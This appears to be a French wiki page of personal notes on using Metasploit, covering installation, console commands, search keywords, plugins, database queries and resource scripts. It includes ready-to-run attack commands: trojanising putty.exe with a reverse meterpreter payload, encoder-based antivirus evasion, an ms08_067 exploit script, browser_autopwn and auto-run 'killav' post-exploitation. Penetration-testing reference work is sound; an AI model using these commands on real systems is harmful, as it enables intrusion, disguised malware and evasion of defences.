Metasploit

De Linuxmemo.

(voir meterpreter)

core lib:

lib/metasploit/

Sommaire

[modifier] Installation

apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems
apt-get install git
apt-get install build-essential ruby-dev libpcap-dev
apt-get install rubygems libmysqlclient-dev

support mysql:

apt-get install mysql-server
apt-get install rubygems libmysqlclient-dev
gem install mysql
apt-get install msgpack-python

git:

git clone https://github.com/rapid7/metasploit-framework.git metasploit

gem:

apt-get install libxslt-dev libxml2-dev
gem install bundler
Dans le rep du Gemfile
bundler install

[modifier] shell

help, info, set, show et use.

show exploits
use 
show options
set
show advanced
set
show targets
set
show payloads
set
exploit

--

show auxiliary
use 
show options
set
show advanced
set
show actions
set
exploit

show options Affiche la liste des options et valeurs courantes (celles spécifiées avec la commande set)

show exploits Affiche la liste des exploits

show targets Affiche la liste des cibles

show payloads Affiche la liste des payloads disponibles

show advanced Affiche les options avancées

[modifier] search

Keywords:

 edb       :  Modules with a matching Exploit-DB ID
 bid       :  Modules with a matching Bugtraq ID
 cve       :  Modules with a matching CVE ID
 author    :  Modules written by this author
 port      :  Modules with a matching remote port
 path      :  Modules with a matching path or reference name
 type      :  Modules of a specific type (exploit, auxiliary, or post)
 platform  :  Modules affecting this platform
 name      :  Modules with a matching descriptive name
 osvdb     :  Modules with a matching OSVDB ID
 app       :  Modules that are client or server attacks

Examples:

 search cve:2009 type:exploit app:client

[modifier] Binaires

http://www.offensive-security.com/metasploit-unleashed/Main_Page

  • msfbinscan (outil rapide pour déterminer la vulnerabilité d'un binaire a une faille donnée)
./msfbinscan -i [DLL] |grep -P "^Size "
  • msfcli (Client mode script)
./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=9030 LHOST=192.168.0.10 E
  • msfconsole (Console)
  • msfd (daemon Utilitaire qui ouvre le framework Metasploit pour l'accès distant)
  • msfelfscan (outil de développement)
  • msfencode (Camouflage des payload dans fichier en changeant la MD5)
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe
  • msfgui (Interface graphique)
  • msfmachscan (outil de développement)
  • msfpayload (Injection de playload dans fichier (exe, doc ...))
./msfpayload -l
./msfpayload windows/shell_bind_tcp O
./msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
  • msfpescan (outil de développement déterminer le type de retour pop/pop/ret avec adresse fournie)
./msfpescan -D -a 0x767a38f6 win2000sp4.umpnpmgr.dll
  • msfrop (outil de développement Return Oriented Programming (ROP) anti Windows "Data Execution Prevention" (DEP) a la recherche des "gadgets")
./msfrop -v metsrv.dll 
  • msfrpc (Client rpc)
./msfrpc -S -U msf -P msf -a 127.0.0.1
  • msfrpcd (Daemon rpc)
./msfrpcd -U msf -P msf -f -S -a 127.0.0.1
  • msfupdate (Mise a jour automatique en ligne)
./msfupdate
  • Msfvenom (combinaison de msfpayload et msfencode en une seule commande)
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT DE SORTIE> > nomdefichier
./msfvenom --help-formats
Executable formats
dll, exe, exe-small, elf, macho, vba, vba-exe, vbs, loop-vbs, asp, aspx, war, psh, psh-net
Transform formats
raw, ruby, rb, perl, pl, bash, sh, c, js_be, js_le, java
./msfvenom -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3
./msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/jmp_call_additive LHOST=<NOTRE IP> | msfvenom -e x86/shikata_ga_nai -a x86 –platform windows -f exe > meter.exe

[modifier] Arborescence des modules

Auxiliary La version 3.0 supporte le concept de modules auxiliaires qui peuvent être utilisés afin d'exécuter des actions arbitraires telles que le scan de ports, le déni de services entre autres. (Unlike exploit modules, auxiliary modules do not have a payload.)

Encoder

Exploit Les modules "Exploit" sont les modules principaux dans Metasploit.

Nop Les modules NOP sont utilisés pour les instructions de type "no-operation" pour exploiter les débordements de buffers.

Payload Les charges utilies (Payload en anglais) sont des portions de code (shellcode) exécutées lorsque l'exploit réussi. Les charges utiles permettent d'assurrer la communication entre Metasploit et la victime.

[modifier] Plugins

grep -A 1 "def desc" * | grep ".rb-"

alias.rb-    "Adds the ability to alias console commands"
auto_add_route.rb-    "Adds routes for any new subnets whenever a session opens" 
beholder.rb-    "Capture screenshots, webcam pictures, and keystrokes from active sessions"
db_credcollect.rb-    "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db"
db_tracker.rb-    "Monitors socket calls and updates the database backend"
ffautoregen.rb-    "FileFormat AutoRegen Plugin"
ips_filter.rb-    "Scans all outgoing data to see if it matches a known IPS signature"
lab.rb-    "Adds the ability to manage VMs"
msfd.rb-    "Provides a console interface to users over a listening TCP port."
msgrpc.rb-    "Provides a MessagePack interface over HTTP"
nessus.rb-      "Nessus Bridge for Metasploit"
nexpose.rb-    "Integrates with the Rapid7 Nexpose vulnerability management product"
openvas.rb-    "Integrates with the OpenVAS - open source vulnerability management"
pcap_log.rb-    "Logs all socket operations to pcaps (in /tmp by default)"
request.rb-    'Make requests from within Metasploit using various protocols.'
sample.rb-    "Demonstrates using framework plugins"
session_tagger.rb-    "Automatically interacts with new sessions"
socket_logger.rb-    "Log socket operations to a directory as individual files"
sounds.rb-    "Automatically plays a sound when various framework events occur"
sqlmap.rb-      'sqlmap plugin for Metasploit'
thread.rb-    "Thread testing plugin"
token_adduser.rb-    "Attempt to add an account using all connected meterpreter session tokens"
token_hunter.rb-    "Search all active meterpreter sessions for specific tokens"
wiki.rb-    "Adds output to wikitext"
wmap.rb-    "Web assessment plugin"

[modifier] Ajouter un exploit

Regarder dans le code la classe de l'exploit.

class Exploits::Windows::Misc::Doubletake

Recréer arborescence correspondante sous .msf4 dans votre répertoire utilisateur.

cd ~/.msf4
mkdir -p modules/exploits/windows/misc
cp resp_ou_est_expoit/doubletake.rb modules/exploits/windows/misc/

Avant:

+ -- --=[ 302 exploits - 124 payloads

Apres:

+ -- --=[ 303 exploits - 124 payloads.

Maintenant vous pouvez utiliser le nouveau exploit.

[modifier] Listener

In order to get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. For example, for meterpreter/reverse_tcp payload,

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7000
set ExitOnSession false
exploit -j
jobs 

The -j option is to keep all the connected session in the background.

You second option might be because there is already a multi/handler session running on the 4444 port. Run the jobs command on the msf console and see if there is any job running. Kill that job using the -k option. You can also use netstat -anp | grep :4444 option. It will display the program name which is using the 4444 port. Kill that process first before binding the multi/handler to the 4444 port.

[modifier] Astuces

  • Problème db_nmap root privileges

Installer en mode console sous le compte root (pour avoir l'env complet) rvm, gem install bundler, bundle install. Lancer msfconsole dans un screen pour détachement.

  • Problème rvm et gem a réinstaller sans cesse:

http://lost-and-found-narihiro.blogspot.fr/2015/05/install-metasploit-on-ubuntu-1404.html

rvm --default use ruby-2.3.1@metasploit-framework
gem install bundler
bundle install
  • db_connect automatique:
vim database.yml

production:
  adapter: postgresql
  database: msf
  username: msf
  password: 
  host: 127.0.0.1
  port: 5432
  pool: 75
  timeout: 5
sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/database.yml >> /etc/profile
ou bien
cp database.yml ~/.msf4/
  • fichier de ressources

1-creation de fichier de commandes "monfichier.rc"

2-chargement du fichier de commandes avec "resource"

msf > resource monfichier.rc
[*] Processing monfichier.rc for ERB directives.
resource (karma.rc)> db_connect msf3:PASSWORD@127.0.0.1:7175/msf3
  • meterpeter derrière 2 routeurs nat:
  • les données télécharger sont stockées dans ~/.msf4/nom_module
  • l'historique des commandes est dans ~/.msf4/history
  • problème avec pcaprub bien souvant non compilé sur le système:
cd /opt/framework3/msf3/external/pcaprub
ruby extconf.rb
make
make install
  • ajout d'info ou d'un commentaire sur un "hosts"
hosts
-i,--info         Change the info of a host
-n,--name         Change the name of a host
-m,--comment      Change the comment of a host
-t,--tag          Add or specify a tag to a range of hosts
  • mon msfconsole.rc
db_status
id
load alias
alias u use
alias so show options
alias sa show advanced
alias sac show actions
alias i info
alias s search
alias ws workspace
alias nmapdetail db_nmap -sU -sS -PN -p- -A
alias nmapsweep db_nmap -sU -sS -PI -PU -PA --top-ports 100 -A
echo "ce que je veux..."
load db_credcollect
#load ips_filter
load wiki
#load auto_add_route
#load beholder
#load session_tagger
#load openvas
#load pcap_log
#load sqlmap
#load wmap
  • grep sur la sortie d'un commande

Par exemple sur un scan d'un module auxiliaire

Usage: grep [options] pattern cmd
grep "[+]" exploit
n'affiche que les bons résultats

[modifier] Recettes

[modifier] DB Postgres jointures

SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info
FROM hosts, services 
WHERE hosts.id = services.host_id AND services.state = 'open' AND services.port = '21';

ou

SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info
FROM hosts, services
WHERE hosts.id = services.host_id AND services.state = 'open';

ou

SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info
FROM hosts, services
WHERE hosts.id = services.host_id AND services.state = 'open' AND services.info!=;

ou

SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info
FROM hosts INNER JOIN services 
ON hosts.id = services.host_id AND services.state = 'open' AND services.port = '21';

ou

SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info
FROM hosts INNER JOIN services 
ON hosts.id = services.host_id 
WHERE services.state = 'open' 
AND services.port = '21'
AND hosts.address >= '41.158.0.0' 
AND hosts.address <= '41.159.0.0'
ORDER BY hosts.address;

Voir: Sql

[modifier] Query DB

  • obtenir la liste des noms de colonne
hosts -c list
[-] Invalid column list. Possible values are (address|arch|comm|comments|created_at|cred_count|detected_arch|exploit_attempt_count|host_detail_count|info|mac|name|note_count|os_family|os_flavor|os_lang|os_name|os_sp|purpose|scope|service_count|state|updated_at|virtual_host|vuln_count|tags|svcs|vulns|workspace|tags)
  • réduire le champ de recherche
 hosts -c address,os_name -S Windows
  • rediriger la sortie
hosts -c address,os_name -S Windows -o /root/tmp.txt
less /root/tmp.txt

[modifier] Recherche

show [all | encoders | nops | exploits | payloads | auxiliary | post | plugins | info | options | favorites]
search type:exploit platform:-linux -S ssh
search -o out.txt -S <string>
cat out.txt | grep something
info PathToModuleName

Keywords:

 adapter          :  Modules with a matching adapter reference name
 aka              :  Modules with a matching AKA (also-known-as) name
 author           :  Modules written by this author
 arch             :  Modules affecting this architecture
 bid              :  Modules with a matching Bugtraq ID
 osvdb            :  Modules with a matching OSVDB ID
 cve              :  Modules with a matching CVE ID
 edb              :  Modules with a matching Exploit-DB ID
 check            :  Modules that support the 'check' method
 date             :  Modules with a matching disclosure date
 description      :  Modules with a matching description
 fullname         :  Modules with a matching full name
 mod_time         :  Modules with a matching modification date
 name             :  Modules with a matching descriptive name
 path             :  Modules with a matching path
 platform         :  Modules affecting this platform
 port             :  Modules with a matching port
 rank             :  Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
 ref              :  Modules with a matching ref
 reference        :  Modules with a matching reference
 session_type     :  Modules with a matching session type (SMB, MySQL, Meterpreter, etc)
 stage            :  Modules with a matching stage reference name
 stager           :  Modules with a matching stager reference name
 target           :  Modules affecting this target
 type             :  Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
 action           :  Modules with a matching action name or description

Supported search columns:

 rank             :  Sort modules by their exploitability rank
 date             :  Sort modules by their disclosure date. Alias for disclosure_date
 disclosure_date  :  Sort modules by their disclosure date
 name             :  Sort modules by their name
 type             :  Sort modules by their type
 check            :  Sort modules by whether or not they have a check method
 action           :  Sort modules by whether or not they have actions

[modifier] Automatisation

  • Resource Scripts Files

can be specified with the -r option to the Metasploit Console and ~/.msf4/msfconsole.rc is automatically executed on startup if it exists. Resource Scripts can also be executed from the console prompt through the resource command. Until this morning, however, resource scripts were limited to simple console commands. Ruby code can now be directly inserted into the resource scripts.

  • Plugins

Plugins add new console commands that provide a utlity or automation function.

  • Auxiliary Module Custom Commands

doesn't take an actual payload like an exploit. Auxiliary modules handle things like reconnaisance, authentication bypass, network sniffing, and vulnerability discovery.

  • Custom Auxiliary Modules
  • Metasploit Remote API

The Metasploit Framework and Metasploit Pro both support automation using a documented Remote API.

  • Ruby Programming

The APIs offered make it easy to embed a copy of the framework into another tool, parse the module database looking for a specific set of criteria, or even repurpose the existing network APIs to build something new.

  • Exécution auto de script sur session meterpeter

Pour un script il suffit de paramétrer l'option avancé AutoRunScript

show advanced
set AutoRunScript  yourScript
exploit -j -z

Pour plusieurs commandes, il faut faire appeler le script "multi_console_command" par AutoRunScript avec en paramètre un fichier de commande.

set AutoRunScript multi_console_command -rc /root/autoruncommands.rc

Exemple de fichier de commande autoruncommands.rc:

run post/windows/manage/migrate
run getcountermeasure
run killav
run checkvm
run scraper

[modifier] Fichiers de ressources

Plugins "notify_mail": http://funoverip.net/wp-content/uploads/2012/10/notify_mail.rb_.gz

  • browserauto
load notify_mail
notify_mail_load
use auxiliary/server/browser_autopwn
set LHOST 192.168.0.30
set SRVPORT 80
set URIPATH /
set AutoRunScript multi_console_command -rc ../autoruncommands.rc
set LPORT_GENERIC 4444
set LPORT_JAVA 4445
set LPORT_LINUX 4442
set LPORT_MACOS 4443
set LPORT_WIN32 4441
exploit -j -z
  • ms08_067_netapi
load notify_mail
notify_mail_load
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.0.104
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.10
set LPORT 9030
set AutoRunScript multi_console_command -rc ../autoruncommands.rc
show options
exploit -j -z

[modifier] Development-Environment

https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment

[modifier] Modules

[modifier] http

  • web directory brute force
use auxiliary/scanner/http/dir_scanner   
db:
/usr/share/wfuzz/wordlist/dirb/common.txt
zap/extension/directorylistv1/files/fuzzers/dirbuster/directory-list-1.0.txt
  • web crowler
use auxiliary/crawler/msfcrawler

[modifier] MAJ RVM

rvm gemset delete $(rvm current)
cd ..
cd metasploit/
bundle


[modifier] Kali init database

systemctl start postgresql
msfdb init

[modifier] HELP 6.4.64-dev

Core Commands

   Command           Description
   -------           -----------
   ?                 Help menu
   banner            Display an awesome metasploit banner
   cd                Change the current working directory
   color             Toggle color
   connect           Communicate with a host
   debug             Display information useful for debugging
   exit              Exit the console
   features          Display the list of not yet released features that can be opted in to
   get               Gets the value of a context-specific variable
   getg              Gets the value of a global variable
   grep              Grep the output of another command
   help              Help menu
   history           Show command history
   load              Load a framework plugin
   quit              Exit the console
   repeat            Repeat a list of commands
   route             Route traffic through a session
   save              Saves the active datastores
   sessions          Dump session listings and display information about sessions
   set               Sets a context-specific variable to a value
   setg              Sets a global variable to a value
   sleep             Do nothing for the specified number of seconds
   spool             Write console output into a file as well the screen
   threads           View and manipulate background threads
   tips              Show a list of useful productivity tips
   unload            Unload a framework plugin
   unset             Unsets one or more context-specific variables
   unsetg            Unsets one or more global variables
   version           Show the framework and console library version numbers


Module Commands

   Command           Description
   -------           -----------
   advanced          Displays advanced options for one or more modules
   back              Move back from the current context
   clearm            Clear the module stack
   favorite          Add module(s) to the list of favorite modules
   favorites         Print the list of favorite modules (alias for `show favorites`)
   info              Displays information about one or more modules
   listm             List the module stack
   loadpath          Searches for and loads modules from a path
   options           Displays global options or for one or more modules
   popm              Pops the latest module off the stack and makes it active
   previous          Sets the previously loaded module as the current module
   pushm             Pushes the active or list of modules onto the module stack
   reload_all        Reloads all modules from all defined module paths
   search            Searches module names and descriptions
   show              Displays modules of a given type, or all modules
   use               Interact with a module by name or search term/index


Job Commands

   Command           Description
   -------           -----------
   handler           Start a payload handler as job
   jobs              Displays and manages jobs
   kill              Kill a job
   rename_job        Rename a job


Resource Script Commands

   Command           Description
   -------           -----------
   makerc            Save commands entered since start to a file
   resource          Run the commands stored in a file


Database Backend Commands

   Command           Description
   -------           -----------
   analyze           Analyze database information about a specific address or address range
   certs             List Pkcs12 certificate bundles in the database
   db_connect        Connect to an existing data service
   db_disconnect     Disconnect from the current data service
   db_export         Export a file containing the contents of the database
   db_import         Import a scan result file (filetype will be auto-detected)
   db_nmap           Executes nmap and records the output automatically
   db_rebuild_cache  Rebuilds the database-stored module cache (deprecated)
   db_remove         Remove the saved data service entry
   db_save           Save the current data service connection as the default to reconnect on startup
   db_stats          Show statistics for the database
   db_status         Show the current data service status
   hosts             List all hosts in the database
   klist             List Kerberos tickets in the database
   loot              List all loot in the database
   notes             List all notes in the database
   services          List all services in the database
   vulns             List all vulnerabilities in the database
   workspace         Switch between database workspaces


Credentials Backend Commands

   Command           Description
   -------           -----------
   creds             List all credentials in the database


Developer Commands

   Command           Description
   -------           -----------
   edit              Edit the current module or a file with the preferred editor
   irb               Open an interactive Ruby shell in the current context
   log               Display framework.log paged to the end if possible
   pry               Open the Pry debugger on the current module or Framework
   reload_lib        Reload Ruby library files from specified paths
   time              Time how long it takes to run a particular command


DNS Commands

   Command           Description
   -------           -----------
   dns               Manage Metasploit's DNS resolving behaviour

For more info on a specific command, use <command> -h or help <command>.

Outils personnels